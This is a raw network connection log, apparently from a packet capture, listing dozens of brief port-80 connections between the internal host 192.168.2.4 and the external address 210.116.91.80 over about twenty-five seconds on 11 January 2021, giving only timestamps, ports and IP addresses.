Jan 11, 2021 17:56:21.826863050 CET	80	49923	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:21.826992989 CET	49923	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.827394962 CET	49923	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:21.834723949 CET	49924	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.086352110 CET	80	49923	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:22.096055984 CET	80	49924	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:22.096330881 CET	49924	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.097666025 CET	49924	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.359352112 CET	80	49924	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:22.359435081 CET	49924	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.359709024 CET	49924	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.472604036 CET	49925	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.620676041 CET	80	49924	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:22.739732027 CET	80	49925	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:22.739886045 CET	49925	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:22.742177010 CET	49925	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.009763002 CET	80	49925	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:23.009859085 CET	49925	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.009952068 CET	49925	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.023852110 CET	49926	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.276937962 CET	80	49925	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:23.285757065 CET	80	49926	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:23.289246082 CET	49926	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.289743900 CET	49926	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.552211046 CET	80	49926	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:23.552318096 CET	49926	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.552613020 CET	49926	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.559155941 CET	49927	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.814263105 CET	80	49926	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:23.820533991 CET	80	49927	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:23.821360111 CET	49927	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:23.821980953 CET	49927	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.083828926 CET	80	49927	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:24.083944082 CET	49927	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.084057093 CET	49927	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.204344034 CET	49929	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.345066071 CET	80	49927	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:24.464082003 CET	80	49929	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:24.464211941 CET	49929	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.464745045 CET	49929	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.724941969 CET	80	49929	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:24.725091934 CET	49929	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.725327015 CET	49929	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.731656075 CET	49930	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.984498978 CET	80	49929	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:24.993458986 CET	80	49930	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:24.993547916 CET	49930	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:24.994271040 CET	49930	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.256720066 CET	80	49930	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:25.256812096 CET	49930	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.256916046 CET	49930	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.260209084 CET	49931	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.518663883 CET	80	49930	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:25.524466038 CET	80	49931	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:25.524666071 CET	49931	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.525321007 CET	49931	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.790385008 CET	80	49931	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:25.790486097 CET	49931	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.790627003 CET	49931	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:25.908081055 CET	49932	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.054474115 CET	80	49931	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:26.167968035 CET	80	49932	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:26.168199062 CET	49932	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.169887066 CET	49932	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.430233002 CET	80	49932	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:26.430367947 CET	49932	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.430490971 CET	49932	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.434420109 CET	49934	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.690063000 CET	80	49932	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:26.693638086 CET	80	49934	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:26.693779945 CET	49934	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.694688082 CET	49934	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.954181910 CET	80	49934	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:26.954313993 CET	49934	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.954571962 CET	49934	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:26.960916042 CET	49935	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.213531971 CET	80	49934	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:27.222646952 CET	80	49935	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:27.222973108 CET	49935	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.223679066 CET	49935	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.485980034 CET	80	49935	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:27.486319065 CET	49935	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.486473083 CET	49935	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.599008083 CET	49936	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.747945070 CET	80	49935	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:27.859379053 CET	80	49936	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:27.859472990 CET	49936	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:27.860194921 CET	49936	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.120748043 CET	80	49936	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:28.120865107 CET	49936	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.121062994 CET	49936	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.125463963 CET	49937	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.380964041 CET	80	49936	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:28.390747070 CET	80	49937	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:28.390868902 CET	49937	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.391552925 CET	49937	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.653543949 CET	80	49937	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:28.653750896 CET	49937	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.654292107 CET	49937	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.661047935 CET	49938	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.915376902 CET	80	49937	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:28.922681093 CET	80	49938	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:28.922918081 CET	49938	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:28.923845053 CET	49938	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.186045885 CET	80	49938	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:29.186323881 CET	49938	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.186597109 CET	49938	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.301250935 CET	49939	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.448096037 CET	80	49938	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:29.570440054 CET	80	49939	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:29.570703983 CET	49939	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.571549892 CET	49939	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.841411114 CET	80	49939	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:29.841626883 CET	49939	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.841773987 CET	49939	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:29.847527027 CET	49940	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.107901096 CET	80	49940	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:30.108055115 CET	49940	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.108763933 CET	49940	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.110491037 CET	80	49939	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:30.369923115 CET	80	49940	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:30.370136976 CET	49940	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.370306015 CET	49940	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.374305964 CET	49941	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.630182028 CET	80	49940	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:30.642848015 CET	80	49941	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:30.643079996 CET	49941	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.643855095 CET	49941	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.913028002 CET	80	49941	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:30.913243055 CET	49941	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:30.913366079 CET	49941	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.034302950 CET	49942	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.181726933 CET	80	49941	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:31.295895100 CET	80	49942	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:31.295990944 CET	49942	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.297410965 CET	49942	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.559371948 CET	80	49942	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:31.559640884 CET	49942	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.559787989 CET	49942	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.564624071 CET	49943	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.821093082 CET	80	49942	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:31.826174974 CET	80	49943	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:31.826405048 CET	49943	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:31.827218056 CET	49943	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.089320898 CET	80	49943	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:32.089624882 CET	49943	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.089822054 CET	49943	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.096666098 CET	49944	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.351043940 CET	80	49943	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:32.359664917 CET	80	49944	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:32.360127926 CET	49944	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.360671997 CET	49944	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.624397993 CET	80	49944	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:32.624672890 CET	49944	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.624862909 CET	49944	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.741729021 CET	49945	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:32.888427973 CET	80	49944	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:33.003201962 CET	80	49945	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:33.003434896 CET	49945	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.004050016 CET	49945	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.266020060 CET	80	49945	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:33.266135931 CET	49945	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.266288996 CET	49945	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.270010948 CET	49946	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.527478933 CET	80	49945	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:33.530215025 CET	80	49946	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:33.530360937 CET	49946	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.530864000 CET	49946	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.791635990 CET	80	49946	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:33.791738033 CET	49946	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.791904926 CET	49946	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:33.796858072 CET	49947	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.052010059 CET	80	49946	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:34.057538986 CET	80	49947	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:34.057709932 CET	49947	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.059333086 CET	49947	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.320563078 CET	80	49947	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:34.321110964 CET	49947	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.321263075 CET	49947	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.445116043 CET	49948	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.582029104 CET	80	49947	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:34.714452028 CET	80	49948	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:34.714669943 CET	49948	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.716017008 CET	49948	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.985666990 CET	80	49948	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:34.985949039 CET	49948	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.986185074 CET	49948	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:34.992805958 CET	49949	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.252906084 CET	80	49949	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:35.253252983 CET	49949	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.254631042 CET	49949	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.254868984 CET	80	49948	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:35.514945984 CET	80	49949	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:35.515084982 CET	49949	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.515216112 CET	49949	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.519566059 CET	49950	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.774858952 CET	80	49949	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:35.782080889 CET	80	49950	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:35.782356977 CET	49950	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:35.783725977 CET	49950	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.047019005 CET	80	49950	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:36.047342062 CET	49950	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.047590017 CET	49950	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.160768032 CET	49951	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.309757948 CET	80	49950	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:36.430927038 CET	80	49951	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:36.431135893 CET	49951	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.432792902 CET	49951	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.702572107 CET	80	49951	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:36.702650070 CET	49951	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.702897072 CET	49951	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.707779884 CET	49952	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.968276978 CET	80	49952	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:36.968375921 CET	49952	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.969227076 CET	49952	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:36.972076893 CET	80	49951	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:37.230433941 CET	80	49952	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:37.230690002 CET	49952	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.230926037 CET	49952	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.255346060 CET	49953	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.491331100 CET	80	49952	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:37.515933037 CET	80	49953	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:37.517848969 CET	49953	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.518347025 CET	49953	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.779186964 CET	80	49953	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:37.779525042 CET	49953	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.779692888 CET	49953	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:37.898192883 CET	49954	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.039789915 CET	80	49953	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:38.168044090 CET	80	49954	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:38.168354034 CET	49954	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.169698954 CET	49954	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.439538956 CET	80	49954	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:38.439702988 CET	49954	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.439920902 CET	49954	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.447149992 CET	49955	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.708583117 CET	80	49955	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:38.708695889 CET	80	49954	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:38.708911896 CET	49955	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.710355997 CET	49955	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.972512007 CET	80	49955	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:38.972856045 CET	49955	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.973108053 CET	49955	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:38.980259895 CET	49956	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.234100103 CET	80	49955	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:39.252450943 CET	80	49956	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:39.252578020 CET	49956	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.254369020 CET	49956	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.526974916 CET	80	49956	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:39.527070999 CET	49956	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.527256012 CET	49956	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.644298077 CET	49957	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.798935890 CET	80	49956	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:39.905900955 CET	80	49957	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:39.906276941 CET	49957	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:39.907459021 CET	49957	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.168960094 CET	80	49957	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:40.169261932 CET	49957	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.169560909 CET	49957	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.175643921 CET	49958	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.430335045 CET	80	49957	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:40.439835072 CET	80	49958	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:40.442981005 CET	49958	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.446316004 CET	49958	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.711049080 CET	80	49958	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:40.711450100 CET	49958	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.711671114 CET	49958	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.719280958 CET	49959	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.975430965 CET	80	49958	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:40.980113029 CET	80	49959	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:40.980309010 CET	49959	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:40.981667042 CET	49959	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.243006945 CET	80	49959	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:41.243364096 CET	49959	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.243508101 CET	49959	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.372118950 CET	49960	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.504072905 CET	80	49959	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:41.633158922 CET	80	49960	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:41.633445024 CET	49960	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.634579897 CET	49960	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.895843029 CET	80	49960	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:41.895981073 CET	49960	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.896224976 CET	49960	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:41.902432919 CET	49961	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.156639099 CET	80	49960	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:42.164562941 CET	80	49961	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:42.164665937 CET	49961	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.165972948 CET	49961	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.428543091 CET	80	49961	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:42.428621054 CET	49961	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.428823948 CET	49961	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.432243109 CET	49962	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.690459013 CET	80	49962	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:42.690658092 CET	80	49961	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:42.690812111 CET	49962	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.691966057 CET	49962	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.950965881 CET	80	49962	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:42.951056004 CET	49962	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:42.951220036 CET	49962	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.072571993 CET	49963	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.209228039 CET	80	49962	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:43.335233927 CET	80	49963	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:43.335509062 CET	49963	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.336865902 CET	49963	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.599865913 CET	80	49963	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:43.600123882 CET	49963	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.600361109 CET	49963	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.607605934 CET	49964	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.862586975 CET	80	49963	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:43.868267059 CET	80	49964	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:43.868643999 CET	49964	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:43.869934082 CET	49964	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.131026983 CET	80	49964	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:44.131310940 CET	49964	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.131613970 CET	49964	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.164891005 CET	49965	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.391944885 CET	80	49964	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:44.426996946 CET	80	49965	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:44.427177906 CET	49965	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.427678108 CET	49965	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.690043926 CET	80	49965	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:44.690182924 CET	49965	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.690707922 CET	49965	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.805815935 CET	49966	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:44.952737093 CET	80	49965	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:45.063966036 CET	80	49966	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:45.064090967 CET	49966	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.065449953 CET	49966	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.324115038 CET	80	49966	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:45.324341059 CET	49966	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.324594021 CET	49966	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.331145048 CET	49967	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.582288027 CET	80	49966	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:45.591911077 CET	80	49967	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:45.595408916 CET	49967	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.596781015 CET	49967	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.858217001 CET	80	49967	210.116.91.80	192.168.2.4
Jan 11, 2021 17:56:45.859244108 CET	49967	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.892687082 CET	49967	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:56:45.895534992 CET	49968	80	192.168.2.4	210.116.91.80
